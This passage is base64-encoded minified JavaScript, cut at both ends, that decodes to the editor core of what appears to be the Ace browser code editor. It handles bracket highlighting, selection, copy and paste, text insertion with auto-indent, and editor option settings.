5nZXRNYXRjaGluZ0JyYWNrZXRSYW5nZXMobixpKTtpZighcyl7dmFyIG89bmV3IGIodCxuLnJvdyxuLmNvbHVtbiksdT1vLmdldEN1cnJlbnRUb2tlbigpO2lmKHUmJi9cYig/OnRhZy1vcGVufHRhZy1uYW1lKS8udGVzdCh1LnR5cGUpKXt2YXIgYT10LmdldE1hdGNoaW5nVGFncyhuKTthJiYocz1bYS5vcGVuVGFnTmFtZSxhLmNsb3NlVGFnTmFtZV0pfX0hcyYmdC4kbW9kZS5nZXRNYXRjaGluZyYmKHM9dC4kbW9kZS5nZXRNYXRjaGluZyhlLnNlc3Npb24pKTtpZighcyl7ZS5nZXRIaWdobGlnaHRJbmRlbnRHdWlkZXMoKSYmZS5yZW5kZXJlci4kdGV4dExheWVyLiRoaWdobGlnaHRJbmRlbnRHdWlkZSgpO3JldHVybn12YXIgZj0iYWNlX2JyYWNrZXQiO0FycmF5LmlzQXJyYXkocyk/cy5sZW5ndGg9PTEmJihmPSJhY2VfZXJyb3JfYnJhY2tldCIpOnM9W3NdLHMubGVuZ3RoPT0yJiYoZC5jb21wYXJlUG9pbnRzKHNbMF0uZW5kLHNbMV0uc3RhcnQpPT0wP3M9W2QuZnJvbVBvaW50cyhzWzBdLnN0YXJ0LHNbMV0uZW5kKV06ZC5jb21wYXJlUG9pbnRzKHNbMF0uc3RhcnQsc1sxXS5lbmQpPT0wJiYocz1bZC5mcm9tUG9pbnRzKHNbMV0uc3RhcnQsc1swXS5lbmQpXSkpLHQuJGJyYWNrZXRIaWdobGlnaHQ9e3JhbmdlczpzLG1hcmtlcklkczpzLm1hcChmdW5jdGlvbihlKXtyZXR1cm4gdC5hZGRNYXJrZXIoZSxmLCJ0ZXh0Iil9KX0sZS5nZXRIaWdobGlnaHRJbmRlbnRHdWlkZXMoKSYmZS5yZW5kZXJlci4kdGV4dExheWVyLiRoaWdobGlnaHRJbmRlbnRHdWlkZSgpfSw1MCl9LHRoaXMuZm9jdXM9ZnVuY3Rpb24oKXt0aGlzLnRleHRJbnB1dC5mb2N1cygpfSx0aGlzLmlzRm9jdXNlZD1mdW5jdGlvbigpe3JldHVybiB0aGlzLnRleHRJbnB1dC5pc0ZvY3VzZWQoKX0sdGhpcy5ibHVyPWZ1bmN0aW9uKCl7dGhpcy50ZXh0SW5wdXQuYmx1cigpfSx0aGlzLm9uRm9jdXM9ZnVuY3Rpb24oZSl7aWYodGhpcy4kaXNGb2N1c2VkKXJldHVybjt0aGlzLiRpc0ZvY3VzZWQ9ITAsdGhpcy5yZW5kZXJlci5zaG93Q3Vyc29yKCksdGhpcy5yZW5kZXJlci52aXN1YWxpemVGb2N1cygpLHRoaXMuX2VtaXQoImZvY3VzIixlKX0sdGhpcy5vbkJsdXI9ZnVuY3Rpb24oZSl7aWYoIXRoaXMuJGlzRm9jdXNlZClyZXR1cm47dGhpcy4kaXNGb2N1c2VkPSExLHRoaXMucmVuZGVyZXIuaGlkZUN1cnNvcigpLHRoaXMucmVuZGVyZXIudmlzdWFsaXplQmx1cigpLHRoaXMuX2VtaXQoImJsdXIiLGUpfSx0aGlzLiRjdXJzb3JDaGFuZ2U9ZnVuY3Rpb24oKXt0aGlzLnJlbmRlcmVyLnVwZGF0ZUN1cnNvcigpLHRoaXMuJGhpZ2hsaWdodEJyYWNrZXRzKCksdGhpcy4kdXBkYXRlSGlnaGxpZ2h0QWN0aXZlTGluZSgpfSx0aGlzLm9uRG9jdW1lbnRDaGFuZ2U9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zZXNzaW9uLiR1c2VXcmFwTW9kZSxuPWUuc3RhcnQucm93PT1lLmVuZC5yb3c/ZS5lbmQucm93OkluZmluaXR5O3RoaXMucmVuZGVyZXIudXBkYXRlTGluZXMoZS5zdGFydC5yb3csbix0KSx0aGlzLl9zaWduYWwoImNoYW5nZSIsZSksdGhpcy4kY3Vyc29yQ2hhbmdlKCl9LHRoaXMub25Ub2tlbml6ZXJVcGRhdGU9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5kYXRhO3RoaXMucmVuZGVyZXIudXBkYXRlTGluZXModC5maXJzdCx0Lmxhc3QpfSx0aGlzLm9uU2Nyb2xsVG9wQ2hhbmdlPWZ1bmN0aW9uKCl7dGhpcy5yZW5kZXJlci5zY3JvbGxUb1kodGhpcy5zZXNzaW9uLmdldFNjcm9sbFRvcCgpKX0sdGhpcy5vblNjcm9sbExlZnRDaGFuZ2U9ZnVuY3Rpb24oKXt0aGlzLnJlbmRlcmVyLnNjcm9sbFRvWCh0aGlzLnNlc3Npb24uZ2V0U2Nyb2xsTGVmdCgpKX0sdGhpcy5vbkN1cnNvckNoYW5nZT1mdW5jdGlvbigpe3RoaXMuJGN1cnNvckNoYW5nZSgpLHRoaXMuX3NpZ25hbCgiY2hhbmdlU2VsZWN0aW9uIil9LHRoaXMuJHVwZGF0ZUhpZ2hsaWdodEFjdGl2ZUxpbmU9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldFNlc3Npb24oKSx0O2lmKHRoaXMuJGhpZ2hsaWdodEFjdGl2ZUxpbmUpe2lmKHRoaXMuJHNlbGVjdGlvblN0eWxlIT0ibGluZSJ8fCF0aGlzLnNlbGVjdGlvbi5pc011bHRpTGluZSgpKXQ9dGhpcy5nZXRDdXJzb3JQb3NpdGlvbigpO3RoaXMucmVuZGVyZXIudGhlbWUmJnRoaXMucmVuZGVyZXIudGhlbWUuJHNlbGVjdGlvbkNvbG9yQ29uZmxpY3QmJiF0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkmJih0PSExKSx0aGlzLnJlbmRlcmVyLiRtYXhMaW5lcyYmdGhpcy5zZXNzaW9uLmdldExlbmd0aCgpPT09MSYmISh0aGlzLnJlbmRlcmVyLiRtaW5MaW5lcz4xKSYmKHQ9ITEpfWlmKGUuJGhpZ2hsaWdodExpbmVNYXJrZXImJiF0KWUucmVtb3ZlTWFya2VyKGUuJGhpZ2hsaWdodExpbmVNYXJrZXIuaWQpLGUuJGhpZ2hsaWdodExpbmVNYXJrZXI9bnVsbDtlbHNlIGlmKCFlLiRoaWdobGlnaHRMaW5lTWFya2VyJiZ0KXt2YXIgbj1uZXcgZCh0LnJvdyx0LmNvbHVtbix0LnJvdyxJbmZpbml0eSk7bi5pZD1lLmFkZE1hcmtlcihuLCJhY2VfYWN0aXZlLWxpbmUiLCJzY3JlZW5MaW5lIiksZS4kaGlnaGxpZ2h0TGluZU1hcmtlcj1ufWVsc2UgdCYmKGUuJGhpZ2hsaWdodExpbmVNYXJrZXIuc3RhcnQucm93PXQucm93LGUuJGhpZ2hsaWdodExpbmVNYXJrZXIuZW5kLnJvdz10LnJvdyxlLiRoaWdobGlnaHRMaW5lTWFya2VyLnN0YXJ0LmNvbHVtbj10LmNvbHVtbixlLl9zaWduYWwoImNoYW5nZUJhY2tNYXJrZXIiKSl9LHRoaXMub25TZWxlY3Rpb25DaGFuZ2U9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zZXNzaW9uO3QuJHNlbGVjdGlvbk1hcmtlciYmdC5yZW1vdmVNYXJrZXIodC4kc2VsZWN0aW9uTWFya2VyKSx0LiRzZWxlY3Rpb25NYXJrZXI9bnVsbDtpZighdGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpKXt2YXIgbj10aGlzLnNlbGVjdGlvbi5nZXRSYW5nZSgpLHI9dGhpcy5nZXRTZWxlY3Rpb25TdHlsZSgpO3QuJHNlbGVjdGlvbk1hcmtlcj10LmFkZE1hcmtlcihuLCJhY2Vfc2VsZWN0aW9uIixyKX1lbHNlIHRoaXMuJHVwZGF0ZUhpZ2hsaWdodEFjdGl2ZUxpbmUoKTt2YXIgaT10aGlzLiRoaWdobGlnaHRTZWxlY3RlZFdvcmQmJnRoaXMuJGdldFNlbGVjdGlvbkhpZ2hMaWdodFJlZ2V4cCgpO3RoaXMuc2Vzc2lvbi5oaWdobGlnaHQoaSksdGhpcy5fc2lnbmFsKCJjaGFuZ2VTZWxlY3Rpb24iKX0sdGhpcy4kZ2V0U2VsZWN0aW9uSGlnaExpZ2h0UmVnZXhwPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zZXNzaW9uLHQ9dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpO2lmKHQuaXNFbXB0eSgpfHx0LmlzTXVsdGlMaW5lKCkpcmV0dXJuO3ZhciBuPXQuc3RhcnQuY29sdW1uLHI9dC5lbmQuY29sdW1uLGk9ZS5nZXRMaW5lKHQuc3RhcnQucm93KSxzPWkuc3Vic3RyaW5nKG4scik7aWYocy5sZW5ndGg+NWUzfHwhL1tcd1xkXS8udGVzdChzKSlyZXR1cm47dmFyIG89dGhpcy4kc2VhcmNoLiRhc3NlbWJsZVJlZ0V4cCh7d2hvbGVXb3JkOiEwLGNhc2VTZW5zaXRpdmU6ITAsbmVlZGxlOnN9KSx1PWkuc3Vic3RyaW5nKG4tMSxyKzEpO2lmKCFvLnRlc3QodSkpcmV0dXJuO3JldHVybiBvfSx0aGlzLm9uQ2hhbmdlRnJvbnRNYXJrZXI9ZnVuY3Rpb24oKXt0aGlzLnJlbmRlcmVyLnVwZGF0ZUZyb250TWFya2VycygpfSx0aGlzLm9uQ2hhbmdlQmFja01hcmtlcj1mdW5jdGlvbigpe3RoaXMucmVuZGVyZXIudXBkYXRlQmFja01hcmtlcnMoKX0sdGhpcy5vbkNoYW5nZUJyZWFrcG9pbnQ9ZnVuY3Rpb24oKXt0aGlzLnJlbmRlcmVyLnVwZGF0ZUJyZWFrcG9pbnRzKCl9LHRoaXMub25DaGFuZ2VBbm5vdGF0aW9uPWZ1bmN0aW9uKCl7dGhpcy5yZW5kZXJlci5zZXRBbm5vdGF0aW9ucyh0aGlzLnNlc3Npb24uZ2V0QW5ub3RhdGlvbnMoKSl9LHRoaXMub25DaGFuZ2VNb2RlPWZ1bmN0aW9uKGUpe3RoaXMucmVuZGVyZXIudXBkYXRlVGV4dCgpLHRoaXMuX2VtaXQoImNoYW5nZU1vZGUiLGUpfSx0aGlzLm9uQ2hhbmdlV3JhcExpbWl0PWZ1bmN0aW9uKCl7dGhpcy5yZW5kZXJlci51cGRhdGVGdWxsKCl9LHRoaXMub25DaGFuZ2VXcmFwTW9kZT1mdW5jdGlvbigpe3RoaXMucmVuZGVyZXIub25SZXNpemUoITApfSx0aGlzLm9uQ2hhbmdlRm9sZD1mdW5jdGlvbigpe3RoaXMuJHVwZGF0ZUhpZ2hsaWdodEFjdGl2ZUxpbmUoKSx0aGlzLnJlbmRlcmVyLnVwZGF0ZUZ1bGwoKX0sdGhpcy5nZXRTZWxlY3RlZFRleHQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZXNzaW9uLmdldFRleHRSYW5nZSh0aGlzLmdldFNlbGVjdGlvblJhbmdlKCkpfSx0aGlzLmdldENvcHlUZXh0PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5nZXRTZWxlY3RlZFRleHQoKSx0PXRoaXMuc2Vzc2lvbi5kb2MuZ2V0TmV3TGluZUNoYXJhY3RlcigpLG49ITE7aWYoIWUmJnRoaXMuJGNvcHlXaXRoRW1wdHlTZWxlY3Rpb24pe249ITA7dmFyIHI9dGhpcy5zZWxlY3Rpb24uZ2V0QWxsUmFuZ2VzKCk7Zm9yKHZhciBpPTA7aTxyLmxlbmd0aDtpKyspe3ZhciBzPXJbaV07aWYoaSYmcltpLTFdLnN0YXJ0LnJvdz09cy5zdGFydC5yb3cpY29udGludWU7ZSs9dGhpcy5zZXNzaW9uLmdldExpbmUocy5zdGFydC5yb3cpK3R9fXZhciBvPXt0ZXh0OmV9O3JldHVybiB0aGlzLl9zaWduYWwoImNvcHkiLG8pLHcubGluZU1vZGU9bj9vLnRleHQ6ITEsby50ZXh0fSx0aGlzLm9uQ29weT1mdW5jdGlvbigpe3RoaXMuY29tbWFuZHMuZXhlYygiY29weSIsdGhpcyl9LHRoaXMub25DdXQ9ZnVuY3Rpb24oKXt0aGlzLmNvbW1hbmRzLmV4ZWMoImN1dCIsdGhpcyl9LHRoaXMub25QYXN0ZT1mdW5jdGlvbihlLHQpe3ZhciBuPXt0ZXh0OmUsZXZlbnQ6dH07dGhpcy5jb21tYW5kcy5leGVjKCJwYXN0ZSIsdGhpcyxuKX0sdGhpcy4kaGFuZGxlUGFzdGU9ZnVuY3Rpb24oZSl7dHlwZW9mIGU9PSJzdHJpbmciJiYoZT17dGV4dDplfSksdGhpcy5fc2lnbmFsKCJwYXN0ZSIsZSk7dmFyIHQ9ZS50ZXh0LG49dD09PXcubGluZU1vZGUscj10aGlzLnNlc3Npb247aWYoIXRoaXMuaW5NdWx0aVNlbGVjdE1vZGV8fHRoaXMuaW5WaXJ0dWFsU2VsZWN0aW9uTW9kZSluP3IuaW5zZXJ0KHtyb3c6dGhpcy5zZWxlY3Rpb24ubGVhZC5yb3csY29sdW1uOjB9LHQpOnRoaXMuaW5zZXJ0KHQpO2Vsc2UgaWYobil0aGlzLnNlbGVjdGlvbi5yYW5nZUxpc3QucmFuZ2VzLmZvckVhY2goZnVuY3Rpb24oZSl7ci5pbnNlcnQoe3JvdzplLnN0YXJ0LnJvdyxjb2x1bW46MH0sdCl9KTtlbHNle3ZhciBpPXQuc3BsaXQoL1xyXG58XHJ8XG4vKSxzPXRoaXMuc2VsZWN0aW9uLnJhbmdlTGlzdC5yYW5nZXMsbz1pLmxlbmd0aD09MiYmKCFpWzBdfHwhaVsxXSk7aWYoaS5sZW5ndGghPXMubGVuZ3RofHxvKXJldHVybiB0aGlzLmNvbW1hbmRzLmV4ZWMoImluc2VydHN0cmluZyIsdGhpcyx0KTtmb3IodmFyIHU9cy5sZW5ndGg7dS0tOyl7dmFyIGE9c1t1XTthLmlzRW1wdHkoKXx8ci5yZW1vdmUoYSksci5pbnNlcnQoYS5zdGFydCxpW3VdKX19fSx0aGlzLmV4ZWNDb21tYW5kPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuY29tbWFuZHMuZXhlYyhlLHRoaXMsdCl9LHRoaXMuaW5zZXJ0PWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5zZXNzaW9uLHI9bi5nZXRNb2RlKCksaT10aGlzLmdldEN1cnNvclBvc2l0aW9uKCk7aWYodGhpcy5nZXRCZWhhdmlvdXJzRW5hYmxlZCgpJiYhdCl7dmFyIHM9ci50cmFuc2Zvcm1BY3Rpb24obi5nZXRTdGF0ZShpLnJvdyksImluc2VydGlvbiIsdGhpcyxuLGUpO3MmJihlIT09cy50ZXh0JiYodGhpcy5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlfHwodGhpcy5zZXNzaW9uLm1lcmdlVW5kb0RlbHRhcz0hMSx0aGlzLm1lcmdlTmV4dENvbW1hbmQ9ITEpKSxlPXMudGV4dCl9ZT09IgkiJiYoZT10aGlzLnNlc3Npb24uZ2V0VGFiU3RyaW5nKCkpO2lmKCF0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkpe3ZhciBvPXRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKTtpPXRoaXMuc2Vzc2lvbi5yZW1vdmUobyksdGhpcy5jbGVhclNlbGVjdGlvbigpfWVsc2UgaWYodGhpcy5zZXNzaW9uLmdldE92ZXJ3cml0ZSgpJiZlLmluZGV4T2YoIlxuIik9PS0xKXt2YXIgbz1uZXcgZC5mcm9tUG9pbnRzKGksaSk7by5lbmQuY29sdW1uKz1lLmxlbmd0aCx0aGlzLnNlc3Npb24ucmVtb3ZlKG8pfWlmKGU9PSJcbiJ8fGU9PSJcclxuIil7dmFyIHU9bi5nZXRMaW5lKGkucm93KTtpZihpLmNvbHVtbj51LnNlYXJjaCgvXFN8JC8pKXt2YXIgYT11LnN1YnN0cihpLmNvbHVtbikuc2VhcmNoKC9cU3wkLyk7bi5kb2MucmVtb3ZlSW5MaW5lKGkucm93LGkuY29sdW1uLGkuY29sdW1uK2EpfX10aGlzLmNsZWFyU2VsZWN0aW9uKCk7dmFyIGY9aS5jb2x1bW4sbD1uLmdldFN0YXRlKGkucm93KSx1PW4uZ2V0TGluZShpLnJvdyksYz1yLmNoZWNrT3V0ZGVudChsLHUsZSk7bi5pbnNlcnQoaSxlKSxzJiZzLnNlbGVjdGlvbiYmKHMuc2VsZWN0aW9uLmxlbmd0aD09Mj90aGlzLnNlbGVjdGlvbi5zZXRTZWxlY3Rpb25SYW5nZShuZXcgZChpLnJvdyxmK3Muc2VsZWN0aW9uWzBdLGkucm93LGYrcy5zZWxlY3Rpb25bMV0pKTp0aGlzLnNlbGVjdGlvbi5zZXRTZWxlY3Rpb25SYW5nZShuZXcgZChpLnJvdytzLnNlbGVjdGlvblswXSxzLnNlbGVjdGlvblsxXSxpLnJvdytzLnNlbGVjdGlvblsyXSxzLnNlbGVjdGlvblszXSkpKTtpZih0aGlzLiRlbmFibGVBdXRvSW5kZW50KXtpZihuLmdldERvY3VtZW50KCkuaXNOZXdMaW5lKGUpKXt2YXIgaD1yLmdldE5leHRMaW5lSW5kZW50KGwsdS5zbGljZSgwLGkuY29sdW1uKSxuLmdldFRhYlN0cmluZygpKTtuLmluc2VydCh7cm93Omkucm93KzEsY29sdW1uOjB9LGgpfWMmJnIuYXV0b091dGRlbnQobCxuLGkucm93KX19LHRoaXMuYXV0b0luZGVudD1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2Vzc2lvbix0PWUuZ2V0TW9kZSgpLG4scjtpZih0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkpbj0wLHI9ZS5kb2MuZ2V0TGVuZ3RoKCktMTtlbHNle3ZhciBpPXRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKTtuPWkuc3RhcnQucm93LHI9aS5lbmQucm93fXZhciBzPSIiLG89IiIsdT0iIixhLGYsbCxjPWUuZ2V0VGFiU3RyaW5nKCk7Zm9yKHZhciBoPW47aDw9cjtoKyspaD4wJiYocz1lLmdldFN0YXRlKGgtMSksbz1lLmdldExpbmUoaC0xKSx1PXQuZ2V0TmV4dExpbmVJbmRlbnQocyxvLGMpKSxhPWUuZ2V0TGluZShoKSxmPXQuJGdldEluZGVudChhKSx1IT09ZiYmKGYubGVuZ3RoPjAmJihsPW5ldyBkKGgsMCxoLGYubGVuZ3RoKSxlLnJlbW92ZShsKSksdS5sZW5ndGg+MCYmZS5pbnNlcnQoe3JvdzpoLGNvbHVtbjowfSx1KSksdC5hdXRvT3V0ZGVudChzLGUsaCl9LHRoaXMub25UZXh0SW5wdXQ9ZnVuY3Rpb24oZSx0KXtpZighdClyZXR1cm4gdGhpcy5rZXlCaW5kaW5nLm9uVGV4dElucHV0KGUpO3RoaXMuc3RhcnRPcGVyYXRpb24oe2NvbW1hbmQ6e25hbWU6Imluc2VydHN0cmluZyJ9fSk7dmFyIG49dGhpcy5hcHBseUNvbXBvc2l0aW9uLmJpbmQodGhpcyxlLHQpO3RoaXMuc2VsZWN0aW9uLnJhbmdlQ291bnQ/dGhpcy5mb3JFYWNoU2VsZWN0aW9uKG4pOm4oKSx0aGlzLmVuZE9wZXJhdGlvbigpfSx0aGlzLmFwcGx5Q29tcG9zaXRpb249ZnVuY3Rpb24oZSx0KXtpZih0LmV4dGVuZExlZnR8fHQuZXh0ZW5kUmlnaHQpe3ZhciBuPXRoaXMuc2VsZWN0aW9uLmdldFJhbmdlKCk7bi5zdGFydC5jb2x1bW4tPXQuZXh0ZW5kTGVmdCxuLmVuZC5jb2x1bW4rPXQuZXh0ZW5kUmlnaHQsbi5zdGFydC5jb2x1bW48MCYmKG4uc3RhcnQucm93LS0sbi5zdGFydC5jb2x1bW4rPXRoaXMuc2Vzc2lvbi5nZXRMaW5lKG4uc3RhcnQucm93KS5sZW5ndGgrMSksdGhpcy5zZWxlY3Rpb24uc2V0UmFuZ2UobiksIWUmJiFuLmlzRW1wdHkoKSYmdGhpcy5yZW1vdmUoKX0oZXx8IXRoaXMuc2VsZWN0aW9uLmlzRW1wdHkoKSkmJnRoaXMuaW5zZXJ0KGUsITApO2lmKHQucmVzdG9yZVN0YXJ0fHx0LnJlc3RvcmVFbmQpe3ZhciBuPXRoaXMuc2VsZWN0aW9uLmdldFJhbmdlKCk7bi5zdGFydC5jb2x1bW4tPXQucmVzdG9yZVN0YXJ0LG4uZW5kLmNvbHVtbi09dC5yZXN0b3JlRW5kLHRoaXMuc2VsZWN0aW9uLnNldFJhbmdlKG4pfX0sdGhpcy5vbkNvbW1hbmRLZXk9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0aGlzLmtleUJpbmRpbmcub25Db21tYW5kS2V5KGUsdCxuKX0sdGhpcy5zZXRPdmVyd3JpdGU9ZnVuY3Rpb24oZSl7dGhpcy5zZXNzaW9uLnNldE92ZXJ3cml0ZShlKX0sdGhpcy5nZXRPdmVyd3JpdGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZXNzaW9uLmdldE92ZXJ3cml0ZSgpfSx0aGlzLnRvZ2dsZU92ZXJ3cml0ZT1mdW5jdGlvbigpe3RoaXMuc2Vzc2lvbi50b2dnbGVPdmVyd3JpdGUoKX0sdGhpcy5zZXRTY3JvbGxTcGVlZD1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigic2Nyb2xsU3BlZWQiLGUpfSx0aGlzLmdldFNjcm9sbFNwZWVkPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0T3B0aW9uKCJzY3JvbGxTcGVlZCIpfSx0aGlzLnNldERyYWdEZWxheT1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiZHJhZ0RlbGF5IixlKX0sdGhpcy5nZXREcmFnRGVsYXk9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oImRyYWdEZWxheSIpfSx0aGlzLnNldFNlbGVjdGlvblN0eWxlPWZ1bmN0aW9uKGUpe3RoaXMuc2V0T3B0aW9uKCJzZWxlY3Rpb25TdHlsZSIsZSl9LHRoaXMuZ2V0U2VsZWN0aW9uU3R5bGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oInNlbGVjdGlvblN0eWxlIil9LHRoaXMuc2V0SGlnaGxpZ2h0QWN0aXZlTGluZT1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiaGlnaGxpZ2h0QWN0aXZlTGluZSIsZSl9LHRoaXMuZ2V0SGlnaGxpZ2h0QWN0aXZlTGluZT1mdW5jdGlvbigpe3JldHVybiB0aGlzLmdldE9wdGlvbigiaGlnaGxpZ2h0QWN0aXZlTGluZSIpfSx0aGlzLnNldEhpZ2hsaWdodEd1dHRlckxpbmU9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oImhpZ2hsaWdodEd1dHRlckxpbmUiLGUpfSx0aGlzLmdldEhpZ2hsaWdodEd1dHRlckxpbmU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oImhpZ2hsaWdodEd1dHRlckxpbmUiKX0sdGhpcy5zZXRIaWdobGlnaHRTZWxlY3RlZFdvcmQ9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oImhpZ2hsaWdodFNlbGVjdGVkV29yZCIsZSl9LHRoaXMuZ2V0SGlnaGxpZ2h0U2VsZWN0ZWRXb3JkPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJGhpZ2hsaWdodFNlbGVjdGVkV29yZH0sdGhpcy5zZXRBbmltYXRlZFNjcm9sbD1mdW5jdGlvbihlKXt0aGlzLnJlbmRlcmVyLnNldEFuaW1hdGVkU2Nyb2xsKGUpfSx0aGlzLmdldEFuaW1hdGVkU2Nyb2xsPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucmVuZGVyZXIuZ2V0QW5pbWF0ZWRTY3JvbGwoKX0sdGhpcy5zZXRTaG93SW52aXNpYmxlcz1mdW5jdGlvbihlKXt0aGlzLnJlbmRlcmVyLnNldFNob3dJbnZpc2libGVzKGUpfSx0aGlzLmdldFNob3dJbnZpc2libGVzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucmVuZGVyZXIuZ2V0U2hvd0ludmlzaWJsZXMoKX0sdGhpcy5zZXREaXNwbGF5SW5kZW50R3VpZGVzPWZ1bmN0aW9uKGUpe3RoaXMucmVuZGVyZXIuc2V0RGlzcGxheUluZGVudEd1aWRlcyhlKX0sdGhpcy5nZXREaXNwbGF5SW5kZW50R3VpZGVzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucmVuZGVyZXIuZ2V0RGlzcGxheUluZGVudEd1aWRlcygpfSx0aGlzLnNldEhpZ2hsaWdodEluZGVudEd1aWRlcz1mdW5jdGlvbihlKXt0aGlzLnJlbmRlcmVyLnNldEhpZ2hsaWdodEluZGVudEd1aWRlcyhlKX0sdGhpcy5nZXRIaWdobGlnaHRJbmRlbnRHdWlkZXM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5yZW5kZXJlci5nZXRIaWdobGlnaHRJbmRlbnRHdWlkZXMoKX0sdGhpcy5zZXRTaG93UHJpbnRNYXJnaW49ZnVuY3Rpb24oZSl7dGhpcy5yZW5kZXJlci5zZXRTaG93UHJpbnRNYXJnaW4oZSl9LHRoaXMuZ2V0U2hvd1ByaW50TWFyZ2luPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucmVuZGVyZXIuZ2V0U2hvd1ByaW50TWFyZ2luKCl9LHRoaXMuc2V0UHJpbnRNYXJnaW5Db2x1bW49ZnVuY3Rpb24oZSl7dGhpcy5yZW5kZXJlci5zZXRQcmludE1hcmdpbkNvbHVtbihlKX0sdGhpcy5nZXRQcmludE1hcmdpbkNvbHVtbj1mdW5jdGlvbigpe3JldHVybiB0aGlzLnJlbmRlcmVyLmdldFByaW50TWFyZ2luQ29sdW1uKCl9LHRoaXMuc2V0UmVhZE9ubHk9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInJlYWRPbmx5IixlKX0sdGhpcy5nZXRSZWFkT25seT1mdW5jdGlvbigpe3JldHVybiB0aGlzLmdldE9wdGlvbigicmVhZE9ubHkiKX0sdGhpcy5zZXRCZWhhdmlvdXJzRW5hYmxlZD1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiYmVoYXZpb3Vyc0VuYWJsZWQiLGUpfSx0aGlzLmdldEJlaGF2aW91cnNFbmFibGVkPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0T3B0aW9uKCJiZWhhdmlvdXJzRW5hYmxlZCIpfSx0aGlzLnNldFdyYXBCZWhhdmlvdXJzRW5hYmxlZD1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigid3JhcEJlaGF2aW91cnNFbmFibGVkIixlKX0sdGhpcy5nZXRXcmFwQmVoYXZpb3Vyc0VuYWJsZWQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oIndyYXBCZWhhdmlvdXJzRW5hYmxlZCIpfSx0aGlzLnNldFNob3dGb2xkV2lkZ2V0cz1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigic2hvd0ZvbGRXaWRnZXRzIixlKX0sdGhpcy5nZXRTaG93Rm9sZFdpZGdldHM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oInNob3dGb2xkV2lkZ2V0cyIpfSx0aGlzLnNldEZhZGVGb2xkV2lkZ2V0cz1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiZmFkZUZvbGRXaWRnZXRzIixlKX0sdGhpcy5nZXRGYWRlRm9sZFdpZGdldHM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oImZhZGVGb2xkV2lkZ2V0cyIpfSx0aGlzLnJlbW92ZT1mdW5jdGlvbihlKXt0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkmJihlPT0ibGVmdCI/dGhpcy5zZWxlY3Rpb24uc2VsZWN0TGVmdCgpOnRoaXMuc2VsZWN0aW9uLnNlbGVjdFJpZ2h0KCkpO3ZhciB0PXRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKTtpZih0aGlzLmdldEJlaGF2aW91cnNFbmFibGVkKCkpe3ZhciBuPXRoaXMuc2Vzc2lvbixyPW4uZ2V0U3RhdGUodC5zdGFydC5yb3cpLGk9bi5nZXRNb2RlKCkudHJhbnNmb3JtQWN0aW9uKHIsImRlbGV0aW9uIix0aGlzLG4sdCk7aWYodC5lbmQuY29sdW1uPT09MCl7dmFyIHM9bi5nZXRUZXh0UmFuZ2UodCk7aWYoc1tzLmxlbmd0aC0xXT09IlxuIil7dmFyIG89bi5nZXRMaW5lKHQuZW5kLnJvdyk7L15ccyskLy50ZXN0KG8pJiYodC5lbmQuY29sdW1uPW8ubGVuZ3RoKX19aSYmKHQ9aSl9dGhpcy5zZXNzaW9uLnJlbW92ZSh0KSx0aGlzLmNsZWFyU2VsZWN0aW9uKCl9LHRoaXMucmVtb3ZlV29yZFJpZ2h0PWZ1bmN0aW9uKCl7dGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpJiZ0aGlzLnNlbGVjdGlvbi5zZWxlY3RXb3JkUmlnaHQoKSx0aGlzLnNlc3Npb24ucmVtb3ZlKHRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKSksdGhpcy5jbGVhclNlbGVjdGlvbigpfSx0aGlzLnJlbW92ZVdvcmRMZWZ0PWZ1bmN0aW9uKCl7dGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpJiZ0aGlzLnNlbGVjdGlvbi5zZWxlY3RXb3JkTGVmdC